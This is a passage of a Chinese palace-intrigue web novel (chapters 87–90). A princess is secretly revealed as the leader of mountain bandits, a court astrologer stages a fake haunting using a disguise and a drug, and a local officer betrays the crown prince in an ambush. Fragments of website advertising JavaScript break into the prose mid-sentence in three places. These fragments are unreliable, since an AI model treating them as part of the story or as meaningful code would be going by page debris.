她越是自信满满,穆归衡越是不能放心。 今夜太短,二人共枕而眠时,他久久不愿与她分开。 “如果你食言了怎么办?”穆归衡问。 江御暮伸手抚上他的面颊:“你说怎么办?” 穆归衡双眼被蒙,看不见她的表情,只能用力将她揽入怀中。 “不要食言。” 求求你……一定要平安归来。 87. 江御暮重回寻雁山,穆归礼再见…… 次日一早,穆归衡离开官署时,江御暮还没有起床。 他心事重重,一夜未曾合眼,她倒是睡得安稳,仿佛今日即将身涉险境的人不是自己似的。 临出门前,穆归衡用红绳穿起一枚白玉平安扣,系在江御暮的腕间。 他知道,这块石头只是担了平安的虚名,并不能真的保她平安。但它多少是个念想,也许江御暮看到它时,能想起他们的约定。 穆归衡走出房门后,江御暮立刻睁开了双眼。 目光定在腕间的平安扣上,看了许久才坐起身来。 她从未戴过腕饰,丝绳和玉石与皮肤相触的感觉很陌生。江御暮转了转手腕,还好,并没有手镯那么碍事。 那就……留着它吧? 独自用完早膳,江御暮唤来时异,作势关心一句:“昨夜辛苦你了,按理说,今日应当让你休息一天,好好补个觉的。” 时异一本正经道:“卑职不累,愿为太子妃效犬马之劳。” “这可是你说的。”江御暮的微笑耐人寻味,“那就陪我走一趟吧。” “是。”时异先答应下来,才敢询问详情,“太子妃这是要去哪?” 江御暮已经迈出脚步,头也不回道:“去寻雁山,帮周师爷赎人。” 在时异愣神的片刻工夫里,江御暮已经走出了老远,他连忙加快脚步跟上去,追问道:“那座山不是闹了匪灾么?想必危险得紧,要不要多带些人一同去?” “不必。”江御暮不假思索道。 时异心里打着鼓,却不敢违逆她的命令,只得跟着她坐上马车,一路前行。 车外的声音渐渐嘈杂起来,根据百姓们交谈的内容,不难猜出这附近就是发放赈灾粮的地点。 时异伸手去掀窗帘,想看看车外的景象,谁知刚掀起一角,就被江御暮制止了。 “别动!”她的声音不大,却像一股无形的力量,使时异无法抗衡。 他连忙放下窗帘,匆匆收回手,仿佛摸到了一块烧红的热炭,扔开以后再也不敢靠近。 二人一路无话,马车平稳前行,刚出城门就停下了。 时异不由生疑:不是说要去寻雁山么?为何这么早就停车了?剩下几十里路总不可能走着去吧? 他虽有疑问,却不敢说出口,只能静等江御暮发话。 但她什么也没有说,只是闭目养神。 时异如坐针毡,不知等了多久,终于听到赶车的人说了声:“周大人,我帮您抬吧。” 江御暮这才睁开眼,冲他扬了扬下巴,发令道:“下去帮忙。” 时异下车一看,车夫正在帮周祥抬一个木箱子,连忙上前搭了把手,将那箱子抬上车稳稳放好,继而与周祥一前一后上了车。 车内三人各坐一边,行至城郊,车外便彻底安静了下来,几无人声。 江御暮说话也再无避忌,就好像时异这个人并不存在似的。 她打开箱子看了一眼,对周祥问道:“你还真带了银子来啊?” 周祥瞥时异一眼,对她坦言道:“是。主要是想着,万一出城前遇上太子的人,得防着他们开箱验看。” 江御暮点点头,平静地合上箱盖。 时异在一旁却已心如擂鼓,周祥这番话背后的信息太多太深了,他虽一时无法厘清,却已明白一个事实——江御暮和太子并不是一条心。 而她之所以愿意在时异面前暴露这一点,只有两种可能性。 第一,时异已经彻底取得了江御暮的信任。 第二,江御暮已经做好了杀死时异灭口的准备。 时异当然希望第一种可能性就是正确答案。 但他无法抑制去想一个问题——万一第二种可能才是现实,他又该如何自保? 时异心乱如麻,下意识握紧了腰间佩刀,双唇渐渐抿成一条线,仿若惊弓之鸟,车轮偶尔碾过石块的声音都能激起他一片鸡皮疙瘩。 又过大半个时辰,马车终于再次停下。 三人依序下车,面前是一家荒废已久的酒馆,木门破得只剩下半扇,隔着窗子便能望见店内桌椅上厚厚的灰尘。 时异将木箱搬下马车,车夫随即调头,加快速度离开了。 时异心中暗道:车夫走了,我们又该如何回城?这荒郊野岭的,哪有地方雇车呢?总不能走回去吧?或者……老天保佑,她可千万别派我去抢山匪的马唷…… “他们迟到了。”江御暮抱臂望着不远处的山路,对周祥说道。 周祥仔细看了看地上的树影,确实已过午时,便对江御暮笑道:“山路难行,来得晚些也是难免的。” 话音才落,时异便紧张兮兮地抽出刀,对二人说道:“好像有马蹄声!” 江御暮斜睨他一眼,噙笑道:“至于么,吓成这样?” 时异不敢松懈,分辩道:“听声音绝对不止一匹马!应该有……” 他侧耳细听,仔细数着:“一、二、三……五匹马!也就是说,至少来了五个人!” 周祥走到他身边,帮他把佩刀收入刀鞘,安抚道:“别紧张,他们最多也就两个人。” 时异一愣:“您怎么知道?” 周祥意味深长地一笑:“他们两个人,加上咱们三个人,才正好骑上五匹马,不是么?” 时异愈发糊涂了,脱口便问:“咱们不是来向山匪赎人的么?他们为何会给咱们备马?” “什么他们咱们的!”周祥爽朗一笑,手掌重重拍上时异的肩头,“都是一家人,分那么清楚作甚?” “一家人?”时异看着他的笑容,竟难以自控地恐惧起来。 他们和山匪是一家人? 江御暮没有反驳,难道她也—— “长姐!”一声喜悦的呼唤忽而从不远处传来,打断了时异的思考。 他循声望去,只见一名十五六岁的姑娘骑在马上,正向他们飞奔而来。 他并不认得那姑娘的长相,却听出了她的声音。 “阿乐?”时异双眉紧蹙,自言自语道。 江御暮已经迎上前去,周祥仍然留在原地,为他介绍道:“这是忠勇侯的长女,江唤玥。” “江唤玥?”时异听说过这个名字,“那不是江尚书家的二小姐吗?” 马蹄声越来越近,另一名与江御暮年纪相仿的男子稍慢一步,带着另外三匹马有条不紊地赶来。 周祥没有为时异解惑,继续介绍:“这是忠勇侯的长子,江连镜。” 时异当然认识江连镜,但“忠勇侯”又是谁?江淮照吗?他何时被陛下封过…… 等等! 时异蓦然反应过来,江淮照曾被前朝的太后江远筝封过爵,封的似乎就是——忠勇侯? 周祥是本朝的官员,却将江尚书称为忠勇侯,难道他们仍有故国之思?甚至……怀有反叛之心!? 一定是这样,否则他们为何会与山匪勾结在一起? 还有,周祥方才为何说江唤玥是忠勇侯的长女?江淮照的长女难道不是江御暮吗? 如果不是,那她又是谁的女儿? 时异慢慢向后挪动步伐,疯狂思索着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己能有几分希望逃离此地。 江御暮身上的秘密太重,重到他不敢继续留在她身边。 他知道的越多,被灭口的可能性就越大。 如果能及时脱身,尽快赶回京城,即便只将自己目前所知的最表层的秘密告诉安王殿下,也足以令他满意了。 问题是——就凭自己这点本事,根本无法在江御暮眼皮子底下逃跑啊! 意识到这一点,时异不得不停下脚步,暂时放下逃跑的念头。 也不知安王殿下的暗兵此刻藏身于何处,在不在寻雁山附近。他想。 如果能得到他们的帮助,也许他还有机会顺利脱身。 时异不知道的是,此时此刻,距他几丈开外的江家三子正好聊起了此事。 “他的尾巴处理干净了么?”江御暮隐晦问道。 江连镜望着时异所在的方向点点头:“昨夜他偷偷出城与人见面,我和宁问归一直跟着呢。就剩四条尾巴,已经断干净了,包括去传信的那条。但没让他知道。” 江唤玥没有参与这项行动,插不上话,等姐姐与兄长聊完才问:“长姐,你为什么要带他一起上山呀?” 江御暮只道:“有用。” 江唤玥仍是不解:“可他跟咱们并不是一条心,尾巴断了,也不能帮你传递消息,还有什么用处呢?” 江御暮摸摸她的脑袋,轻笑道:“以后你就知道了。”语毕不再耽搁,招呼周祥和时异一起骑马进山。 江唤玥叹了声气,用胳膊肘捣一捣身旁的江连镜,不抱希望地问道:“哥,你知道那人有什么用处吗?” 江连镜也说不上来,只能凭空猜测:“也许……江御暮是想以他为人质,以便要挟穆归礼?” 江唤玥反驳道:“穆归礼怎么可能为了一个护卫损失自己的利益啊?” 江连镜轻咳一声:“这人吧……其实不止是穆归礼的护卫。” 江唤玥一脸认真:“我知道啊,还是他的面首嘛。” 江连镜没想到小妹连这个都知道,挠了挠脑门,似乎觉得跟她聊这个话题有点尴尬。 江唤玥却没什么避讳,直言道:“面首又如何?穆归礼若真对他有情,怎么可能派他来对付长姐?多危险啊!” 江连镜失笑:“好了好了,咱们不聊这些。” 江唤玥被他催促着骑上马,似是不甘心就此住嘴,又俯下身对他低语了一句:“我觉得吧,穆归礼肯定有很多面首,不缺他这一个。” 穆归礼的确是这样想的。 比起无聊乏味的旧人,他现在对尚未得手的新猎物更感兴趣。 奈何费红英身居国师之位,又自小修习神道方术,穆归礼纵然有心与他亲近,也不敢操之过急。 这天夜里,穆归礼又与新来的少年护卫共枕而眠。 那少年生得清秀,被他要求用发带蒙上了眼睛,乍看倒与费红英有七八分相像。 穆归礼轻抚他的面颊,正在沉醉之际,忽听他“咦”了一声。 “怎么了?”穆归礼柔声问,“不舒服么?” 少年摇摇头,轻声道:“枕头下面好像有什么东西,我总听见响声。” 说着,他便将手伸进枕下摸索起来,很快就掏出一封书信。 “这是什么?”少年被好奇心驱使,想要摘下蒙眼的发带。 “别摘!”穆归礼的声音莫名慌张,“别看!” 信封上的字迹他再熟悉不过了。 赤色的十个大字仿佛由鲜血书写—— 安王正妃纪氏青元绝笔。 88. 安王爷上套招鬼魂,费国师吹灯…… 这封信为什么又出现了? 穆归礼双手颤抖着,几乎拿不稳信纸。 它明明早就被他亲手烧毁了,连灰都不剩,为什么还会出现在他面前? “殿下,怎么了?”少年将下巴搭上他的肩膀,温言关切。 穆归礼将信纸揉成一团,咬牙道:“滚!” 少年有些错愕,一时没反应过来。 穆归礼抬高了声音:“滚出去!” 少年莫敢不从,急忙披上衣服,连滚带爬地下床跑走了。 穆归礼攥着信纸,将拳头攥得生疼,用愤怒掩饰着内心的恐惧。 他努力思索,想给这件事找一个解释,但无论怎么想,似乎都解释不通。 除非……往怪力乱神的方面去想。 这个念头冒出来的那一刹那,穆归礼下意识地松开了拳头,继而匆匆将纸团展开,小心翼翼地平铺在床上,然而无论他如何补救,都无法抚平纸上的褶皱。 他不敢多看,亦不敢轻易毁掉这封血书,只得先用锦被盖住它,眼不见为净,紧接着唤来老管家。 “去请国师来见本王!” 费红英没想到事情会这样顺利。 她原本还在懊恼:昨夜会面议事时,不该把这封假血书偷放在他的枕头下面,应该选个更显眼的地方。否则万一他睡得太沉,迟迟发现不了怎么办? 幸而她担心的事并未发生,穆归礼不但看到了这封假血书,还被它吓得不轻。 费红英赶来的路上,穆归礼越想越害怕,甚至连自己的床都不敢靠近了,索性守在门边等待她的出现。 好容易盼到她来,穆归礼总算壮起了胆子,连忙从床上翻出那封书信,递给费红英的同时顾不上解释太多,直接说道:“快帮本王看看,这封书信到底是怎么回事?” 费红英接过皱皱巴巴的信纸,煞有介事地将整个手掌覆上去,感受片刻后惊呼道:“此乃阴司之物啊!殿下,这是从哪得来的?” “就、就在那个枕头下面!”穆归礼愈发慌乱起来,甚至有些语无伦次,“本王也不知道……它莫名其妙就这么出现了……” 费红英轻拍他的胳膊以示安抚,待他略微平静下来,她才继续说道:“殿下,莫怪微臣多问一句,这封书信可是安王妃的笔迹?” “对,对!”穆归礼急忙应道。 费红英轻叹一声:“怪不得微臣觉得它的气息那样熟悉,果然与上次一样。” “这是何意?与上次一样?”穆归礼抓住她的手腕,迫切需要得到回答,“难道她的怨气还未消散?又缠上本王了?” 费红英佯装思索片刻,从袖中取出铜钱来算了一卦,这才对他说道:“殿下宽心,王妃此举并无明显的恶意,只是有话想对您说,所以才会用这种方式引起您的注意。” 穆归礼只觉背后一凉,抬眼瞟向上空,低声道:“说……说什么?怎么说?” 费红英一脸严肃:“和上次一样,劳您大驾,再折八十一个元宝吧。” 比起上次,这次穆归礼更加轻车熟路,仅耗两个时辰就完成了任务。 二人再次来至纪青元灵前,天阴着,周遭连一丝月光也无,只有供桌上的几支蜡烛亮着幽幽的火光。 穆归礼按照费红英的要求,每烧一个元宝便对纪青元讲一句话,每烧九个元宝就对她的牌位磕一次头。 半个时辰下来,穆归礼双腿跪得发麻,好容易磕完了最后一个头,面前的铜盆却没有任何反应。 怎么回事,是他哪一步做错了么? 穆归礼回头去望费红英,却因四下一片黑暗,只能隐约望见一个身着道袍的人影。 那人影慢慢向他走来,步子迈得小而平稳,比起走,似乎更像飘。 越过铜盆,那人面对着他蹲下身来,用纤瘦的手指从一旁捏起几张黄纸,随意折了几折,扔进面前的铜盆。 仅剩的几点火星立时化作一片火焰,明灭不定的光旋即照亮那人的面容。 穆归礼抬眸一看,霎时吓慌了神,双手撑在地上,手脚并用向后退去。 眼前之人虽然穿着费红英的衣裳,却顶着纪青元的脸。用于遮眼的发带早已不见了踪影,那人双目明亮,直勾勾盯着穆归礼的眼睛,嘴角噙着一抹似有若无的微笑,着实瘆人得慌。 “别跑啊,不是你唤我出来与你相见的吗?” 此话一出,穆归礼便不敢擅动了。 那人的声音与纪青元非常相像,但并不完全一样。 几张黄纸燃尽,火光转瞬即逝,周遭很快又暗了下来。那人继续往铜盆里添上新纸,期间从未移动目光,双眸永远牢牢盯住穆归礼。 “你、你是纪、纪青元?”穆归礼的声音微微颤抖着,“国师呢?你、你把他怎么样了?” 那人加大了微笑的幅度,面部动作稍显僵硬,话音却无笑意,反而冷冰冰的:“放心,他不会死的。我只是借他的身体一用,当面跟你说几句话。” “你要说什么!”穆归礼的声音很大,几乎在吼。这是他给自己壮胆的方式。 “你还欠我一个心愿。”那人手上动作不停,时不时往盆内添上几张黄纸,“我的第三个心愿,你忘了么?” 在如此巨大的心理压力之下,穆归礼很快就想起来了:“你要本王为你报仇,让害你性命之人血债血偿。” “不错。”那人把这两个字说成了一种赞许。 穆归礼忙问:“到底是谁害了你的性命?你什么都不告诉本王,又让本王如何为你报仇?” 那人面色微变,眸中显出几分愤恨之意。 “你当真想不到是谁么?” 穆归礼张了张口,大脑一片混沌。 那人冷笑一声:“你对刘俭爱而不得,杀他泄愤,却对陛下谎称刘俭觊觎王妃,因而招致杀身之祸。难道……这些事你都忘了吗?” 穆归礼的呼吸愈发急促,也许是因为紧张,也许是因为惶恐。 火光自下而上,照得那人面目狰狞。 “难道你从来不曾想过——依你父皇的脾气,会留一个‘妇德有失’的王妃活在世上吗?” 穆归礼闻言愈发惊惧:“是、是我父皇……” “当然是他!”那人突然吼道,似悲似愤,“就是他派人害了我的性命!” 原来是这样……原来是这样! 穆归礼恍然大悟。 怪不得自己查了这么久都毫无结果,原来他从一开始就疑错了人!杀死纪青元的根本不是他府里的护卫,而是父皇的人! 穆归礼没有起疑,他知道父皇做得出这种事——大皇嫂不就是先例么? 想到这里,他顿时感到一阵后怕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 幸而父皇的人只是杀了纪青元,并未发现她写下的血书。 “可是、可是……”穆归礼钳口结舌,不敢继续说下去。 ——可是,他怎么能杀死自己的父皇来为她报仇呢? 弑父弑君,罪无可恕。一旦事情败露,他别说继承大统彻底无望了,就连保住性命都成了痴人说梦。 “你是不舍得杀他,还是不敢杀他?”那人阴沉着一张脸,“别忘了,你早已与我定下了契约!” 穆归礼为自己争辩道:“你当初与本王立约时,并未将杀你的凶手是谁告知本王!这、这分明是你有意欺瞒,骗本王答应了你的要求!” “哈哈哈哈……”那人仰面朝天,发出一阵阴恻恻的狂笑,“骗也好,瞒也罢,左右你已经答应了我的要求。倘若反悔生变,可是会遭报应的。” 穆归衡脸色一白:“什么、什么报应?” 那人站起身来,居高临下地看着他,嘴角挂上一丝诡异的笑意:“去问你的国师吧,他会告诉你的。” “国师?他……他在哪?”穆归礼也从地上爬起来,后退半步吼道,“你快放他回来!本王要见他!” 最后一张黄纸已经燃尽,周遭再度陷入黑暗。 “王爷难道不曾听过一句话?”那人走到供桌边吹熄蜡烛,于是连最后一点微弱的光亮也不剩了,“请鬼容易,送鬼难呐……” 穆归礼只觉手脚冰凉,一阵风吹过,鼻腔里竟忽然泛起丝丝血腥气息。 顷刻之间,他双眼一翻,身体歪斜倒地,已然昏厥了。 费红英搓了搓双手,将手指上残余的迷药粉末擦拭干净,继而卸下用于易容的假面,扔进铜盆里烧成了灰烬,然后重新蒙住自己的双眼。 做完这些,她给自己挑了个干净的位置躺下。 地面有点冰,躺着并不舒服,但她实在太困了,很快就能入睡。 醒来已是日上三竿,她被抬到了偏厢房的床上,穆归礼亲自守在她的床边。 “你终于醒了!”穆归礼长出一口气,扶她坐起身来。 “发生什么事了?微臣为何会躺在这里?”费红英紧皱双眉,佯装一无所知。 穆归礼粗略答道:“方才王妃夺去了你的身体,与本王交谈几句之后不欢而散,还害得本王不省人事,晕了过去。本王醒来后,见你也晕在一旁,连忙命人把你抬进来好好休养。万幸万幸,你终于回来了。” 费红英揉着自己的眉心,状似随口问道:“殿下,王妃都和您说什么了?” 穆归礼表情一僵,迟疑片刻后才道:“你别管她说了什么,先回答本王一个问题。” “殿下请讲。” 穆归礼咽了口唾沫:“本王当初答应了她的要求,承诺会帮她报仇,你可还记得?” “记得。” “如果……本王现下反悔了,不愿帮她报仇,会有什么后果?” 费红英深吸一口气,俨乎其然道:“与鬼立约,倘若自食其言,后果要视约定内容而定。” “此言何意?”穆归礼不太明白。 “例如您许诺了要给鬼送钱,却没有送,后果便是——破财。” 说到这里,她顿了顿,声音显得更加严肃。 “又如您承诺了要给鬼报仇,却没有报,后果便是——偿命。” 89. 穆太子发兵剿山匪,吴参军带队…… 又是一夜无眠。 穆归衡起初在官署里等,后来去大门外等,最后索性出了城门,登上哨兵的瞭望塔,望着寻雁山的方向静静等待江御暮出现。 虽说二人约定的时限是午时,还有好几个时辰才到,但穆归衡还是放不下心。 为了能在第一时间得知江御暮平安归来的消息,次日放粮的地点直接换到了城门口。 树影由长变短,等待的时间总是漫长而煎熬,直至午时,江御暮仍然没有出现,穆归衡忽又觉得方才的时间过得太快,不够用似的。 她为什么还不回来? 是出事了吗? 穆归衡旋即焦躁起来。 一整天过去了,不仅是她,周祥也不见踪影,没有任何消息传来。 穆归衡开始后悔了。 或者说,从他答应她涉险的那一刻开始,他就已经后悔了,只是直到现在才确认自己当时的担心并不多余。 但他仍然抱着一丝希望。 也许江御暮只是路上耽搁了,再等等就能看到她平安出现。 这一等,便又是十二个时辰。 穆归衡中途断断续续睡过几回,但都睡不安稳,稍有声响就会被吵醒。 他仍在安慰自己—— 约定见面的时间时,江御暮原本想约在“三日后”,也就是明日午时。 也许她只是有些固执,想按照自己的想法行事,不愿被他影响。 穆归衡希望是这样,这样他就能在明日见到她了。 能吗?能见到吗? 如果这只是他自欺欺人的想法怎么办? 穆归衡渐渐意识到,即便有些事他不愿面对,也不得不事先做好最坏的打算。 他唤来石涅,将太子令牌交给他。 “景州离涵州最近,你拿着本宫的令牌,去找景州刺史多调些兵来,以备剿匪之用。” 石涅接过令牌,迟疑道:“殿下,按规矩,您得先请来陛下的旨意,才能调动各州的兵将。若是擅自——” “父皇若要降罪,一切由本宫承担。”穆归衡打断他道,“如今已经没有时间派人回京请旨了。” 石涅仍旧一脸为难。 太子的令牌又不是虎符,万一景州刺史是个循规蹈矩之人,不愿借兵,该当如何? 石涅本想再劝劝穆归衡,然而看他愁容满面,心事重重的样子,又不忍给他再添烦恼。 也罢,大不了他就狐假虎威一回,威逼景州刺史借兵相助。 这天半夜,穆归衡辗转反侧,久久难以入眠。 他受够了这种只能被动等待的滋味,无论如何,总得做点什么吧? 他虽然不知匪寨的位置,但是知道一条线索——他们会在寻雁山下的酒馆里见面。 那就去看看吧。 穆归衡换上一身黑衣,带上佩剑策马而去,融于夜色。 一路行至寻雁山下,穆归衡顾不上栓马便冲进了那家破败酒馆。 这里荒废已久,连桌上的油灯都枯了。幸而穆归衡自己带了火把,折腾半晌才点燃。 借着火光,穆归衡环顾四周,屋内并无打斗痕迹,也没有丝毫血痕,看起来一切正常。 唯一不正常的就是酒柜上放着的一个大箱子。 那是个崭新的木箱,上面没有一点灰尘。 更关键的是,穆归衡曾在官署见过它——周祥借酒消愁那天晚上,正是用这个木箱装的赎银。 怪哉,难道山匪没有带走这些银子? 怎么可能呢,到嘴的肥肉,哪有吐出来不吃的道理? 穆归衡三步并作两步走到酒柜边,箱子没有锁,直接就能打开。 为防有诈,穆归衡拔出长剑,顺着箱盖的缝隙划了一圈,并无异常的触感。 再将剑身慢慢捅入木箱,上下左右拨动试探,里面似乎空无一物。 穆归衡这才上前打开箱子,将火把凑近一看,顿时心如擂鼓。 那箱子里装着一个白玉平安扣,上面绑着一条红线,是他亲手戴在江御暮腕间的。 穆归衡的呼吸愈发急促了,甚至有些喘不上气。 他伸手去取那枚平安扣,几次滑脱,好不容易才将它握入掌心。 江御暮还活着吗?是不是行踪暴露,被山匪擒入寨中了? 如果是这样,山匪为什么不向穆归衡索要赎银,而是将这枚平安扣放在此地? 难道,他们早就料到穆归衡会来这里寻找线索了? 他们此举究竟意欲何为?是挑衅还是警告? 穆归衡耗时许久,将这家酒馆翻了个底朝天,却没有找到其他的线索。 他现在唯一能够确定的就是——江御暮的处境一定不容乐观。 他不想再等了。 等石涅借兵归来,也许一切都来不及了。 …… 回到官署已是清晨,穆归衡唤来涵州参军吴元贞,开口便道:“传本宫之令,即刻备战,尽快进山剿匪。” 吴元贞没有多问,旋即传令。 现下可用的共有三百余人,一百名禁军是从京城带来的,其余二百余人都是涵州本地的城防兵。 列队之时,吴元贞建议道:“山路不比官道那般畅通无阻,若遇狭窄之处,至多能供三人并行。咱们不妨就列三队,禁军居中而行,城防兵拱卫左右,如何?” 穆归衡点点头:“嗯,就这么办。” 吴元贞做了多年的涵州参军,论及剿匪的经验,远比旁人丰富,穆归衡自然愿意采纳他的建议。 出兵前的准备工作又耗去了大半日,黄昏时分,一行三百余人终于离开了涵州城。 吴元贞与穆归衡策马并行,居于队伍前方。 禁军都是骑兵,城防军则以步兵为主,行路速度不算很快,日落以后才赶到寻雁山下。 吴元贞提议道:“殿下,不妨由末将在前带路,您去后方坐镇,这样更安全些。” 穆归衡想也没想便拒绝了:“不,本宫必须留在前面。” 吴元贞见他执意如此,便也没有多劝。 “出发!” 踏上山路以后,穆归衡渐渐发现这里与自己的想象并不相同。 在他的设想中,寻雁山应当崎岖险阻,密林丛生才对。实际上这里却多有坦途,山路的坡度亦不算大。 吴元贞仿佛看出了他的疑惑,主动解释道:“下面这段路好走,不过很快就到密林了,那里陷阱颇多,上次剿匪时,末将险些在那丢了性命。” 穆归衡好奇道:“既然如此,想来战马很难穿过那片密林吧?” 吴元贞点头道:“正是,密林中拉着许多绊马索,稍不留意便会中计。” 正因如此,众人刚刚行至密林边缘,吴元贞便下令让所有骑兵下马步行。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 穆归衡也按照他的要求,牵着马在队前慢慢行走。 果不其然,没走多远就看见了地上的绊马索。 他拔出佩剑,作势欲砍,吴元贞却匆忙将他拦住。 “殿下且慢!” “怎么了?”穆归衡问。 吴元贞解释道:“这片林中有一部分绊马索连着暗弩,一旦绳索被拉扯或被砍断,就会有暗箭射向此处,防不胜防。从前,末将已经吃过它的亏了。” 穆归衡连忙收起剑,吴元贞又道:“末将建议,还是让骑兵们把马拴在林子边缘的树上吧。一来这样更加安全,能防止马蹄无意间触发暗弩。二来过了这片密林,后面的路便陡峭许多,骑着战马反而累赘,不如步行。” 穆归衡思忖片刻,点了点头。 吴元贞即刻下令栓马,继而走在前方引路,带领三百余人越走越深,慢慢走到了密林中心。 这里有一片空地,可以供众人休整片刻。 晚间山雾渐大,火把能照亮的范围越来越小。 吴元贞对穆归衡道:“殿下,咱们应该离匪寨越来越近了,火光容易暴露行踪,还是让大家把火把都熄了吧。” 穆归衡知道他说得有道理,但还是忍不住多问一句:“夜间行军本就容易看不清路,今夜的雾又这样大,若是将火把熄了,万一在林中迷路了可怎么好?” 吴元贞宽慰般一笑:“殿下放心,末将手上的火把不必熄灭,可以在前方给弟兄们探路。等末将走过去,确认前路是安全的,弟兄们再跟上就是了。” 穆归衡没有应声,还在思索这种方法是否可行,吴元贞却已擅自向众人下令:“熄灭火把!” 穆归衡有些不悦,蹙眉唤了一声:“吴参军。” 身后的火把已经灭了大半,吴元贞仿佛没有听见他的声音,又对众人大喊一声:“动手!” 穆归衡闻声大惊,不知他为何忽然如此逞性妄为,正待追问,却听得身后传来一阵阵兵器碰撞之声,与众人的惊呼声夹杂在一起,纷乱而令人毛骨悚然。 他连忙拔出长剑回身看去,因视野有限,只能看见队伍近处的几组兵士。 每一名禁军的脖子上都架着两把刀,一左一右,被他们身边的城防兵打了个措手不及,几乎还没反应过来发生了什么事,就已经失去了反击的余地。 穆归衡见状,怒喝道:“吴元贞,你好大的胆子!” 直至此刻他才明白,涵州的山匪为何会如此猖獗,屡剿不灭,原来此地早已官匪勾结,连他都被骗了过去! 吴元贞见他拔剑,不甚在意地笑了笑:“殿下可以杀了末将泄愤,有一百个禁军给末将陪葬,不亏多少。” 穆归衡这才反应过来,那些城防兵只是把刀架在了禁军的颈边,并未伤及他们性命。 这是为何? 只要他们杀光禁军,穆归衡独木难支,定然无法脱身。 可他们却没有进一步的举动,局面霎时陷入了诡异的僵持。 吴元贞不与穆归衡多言,向前疾走几步,吹出一记长哨。 不多时,一人骑着黝黑健壮的骏马从夜雾中缓缓现身。 “太子殿下,别来无恙。” 穆归衡尚未看清他的脸,却已凭借声音认出了他。 宁问归什么也没有解释,只道:“我知道你想问什么。太子妃还活着,你……想去见见她吗?” 90. 小殿下夜半现真身,狡内奸卒然…… 匪寨建在寻雁山顶,房屋大多以山石搭建,远远望去并不显眼。 此刻已是深夜,寨中大多数人都睡下了,唯有值夜的哨兵精神抖擞,站在瞭望塔上观察四周有无异常情况。 “乌云回来了。”一名哨兵忽而低语道。 “乌云”是他们称呼宁问归的方式。其实这原本是他那匹黑马的名字,因着这一人一马总是形影不离,大家渐渐就把他们混在一起称呼了。 “那个就是太子吧?”另一名哨兵指着宁问归身后的那人问道。 “肯定是,瞧他衣裳上的纹样就知道了。” 说话间,二人已然进了寨门。守门的是两个女兵,穆归衡原本已经走出了一段距离,不知想起了什么,竟忽然停住脚步,不再前行了。 他不敢置信地回头看去,似是害怕自己看得不够清楚,还快步走回了寨门之外。 方才余光一瞥,穆归衡便觉得这两名女兵身上的甲胄有些眼熟。此刻细看一番,方知自己的判断无误。 他的梦里出现过这样的甲胄。 在二皇兄死前的场景中,那名提刀杀入怀王府的女兵就穿着与她们一模一样的轻甲。 怎么会这样? 难道这伙山匪不满足于占山为王,还有着起兵造反的野心?区区几百山匪,竟能一路攻入京城? “太子殿下,您这是打了退堂鼓么?”宁问归见他忽然回身折返,故有此问。 穆归衡冷哼一声,继续随他前行。 二人拐入一条小巷。黑暗中,只有一间屋子亮着灯。 再走近些,穆归衡才看清屋外还站着一个人。那人戴着面具,将整张脸遮得严严实实,衣裳倒是眼熟。 “时异?”穆归衡不太确定地问。 时异看了看宁问归,没敢应声。进入山寨之前,江御暮特意让他戴上了面具。她没有说明原因,时异自己也猜不出个所以然来。 他也曾尝试过偷偷去找安王殿下的暗兵,但从未成功踏出寨门一步,只得暂且歇了心思,静待时机。 宁问归敲了敲门,特意摆出一副恭敬的态度,仿佛想表演给穆归衡看:“小殿下,人已带到,卑职先告退了。” 小殿下? 听到这个同样曾在梦中出现过的称呼,穆归衡不禁面色微变。 难道说,这伙山匪的头目就在屋内等他? 江御暮呢?会不会被此人擒为了人质? 此人究竟想做什么?难道是想用江御暮的性命威胁穆归衡,逼他利用太子的身份,为他们的叛乱提供助益? 片刻间,穆归衡的脑中闪过了无数可能性。 然而屋内无人应声。 宁问归自顾自对着屋门行了个礼,而后头也不回地离开了。 穆归衡拔出佩剑,推开屋门,并未贸然进去。 入目是一名女子的背影。她身着轻甲,负手而立,青丝单股成辫,高高束在脑后。她的头发不长,发尾堪堪触及衣领,末端参差不齐,像是近日才随意剪了几刀。 听见他推门的声音,那女子旋即转过身来,双眸直直对上他警惕的目光。 看清她面容的那一刹,穆归衡手中的剑鞘砰然坠地,余音仿若尖细的耳鸣声,带来阵阵刺痛。 “怎么不进来?”江御暮问。用最寻常的语气。 穆归衡仍旧一动不动。 他有过无数种猜想,却从没想过江御暮会站在自己的对立面。 “小殿下。”穆归衡低语喃喃,像是在仔细咂摸这个称呼背后的涵义,又像是在要求她给出一个解释。 江御暮目光下移,落于他手中的长剑,稍作停顿后重新与他对视道:“咱们好歹夫妻一场,你就打算这样跟我说话?” 穆归衡执剑的手微微一颤,沉默良久,终于还是走进了这间屋子,把剑放在面前的桌子上。剑身好似一片模糊的镜面,映出两道不成形状的人影。 “现在可以说了吧。”他冷冷道。 江御暮伸手触上剑脊,抚过他的模糊影子,垂眸道:“你似乎很生气?” “我不该生气么?”穆归衡忿忿道。 他为她担心了几天几夜,最终却发现这一切都是个骗局。他连自己是什么时候开始受骗的都不知道,身边最亲密的人在转瞬之间就变成了他的敌人。 敌人,也许吧。 穆归衡当然生气。因为她的愚弄,因为她的蒙骗,因为她这副一切尽在掌握的神情,因为……她或许从未对他有过一丝真心。 江御暮抬眼看向他,话锋一转:“那就等你消了气,能心平气和地说话时,咱们再聊吧。” 语毕,她作势欲走,刚迈出几步就被穆归衡拽住了手腕。 “江御暮!”他拧着双眉,眸中写满不甘,“骗我上山来见你,然后什么都不说就扔下我不管。这样戏弄人很有趣吗,小殿下?” 江御暮任他握着自己的手腕,没有甩开,耐心解释道:“生着气的人都跟炮仗似的,什么都听不进去,只盼着对方的话里带出一点火星,自己就可以顺势发作。” 她顿了顿,看向他用力抓住她的那只手,意有所指道:“我不喜欢跟炮仗说话。” 穆归衡双唇紧抿,手上却渐渐松了力道。 “好,我不生气。”他竭力压抑着怒火,“有什么话,你直说便是。” 江御暮当然辨得出他这句话有几分真,几分假。 “你若真不生气了,就证明给我看看。”她轻笑道。 穆归衡被这笑声引得愈发心烦意乱,没好气道:“如何证明?” 江御暮突然向他靠近半步,几乎贴上他的身体。 穆归衡双拳紧紧攥着,没有退缩,也没有作出任何回应。 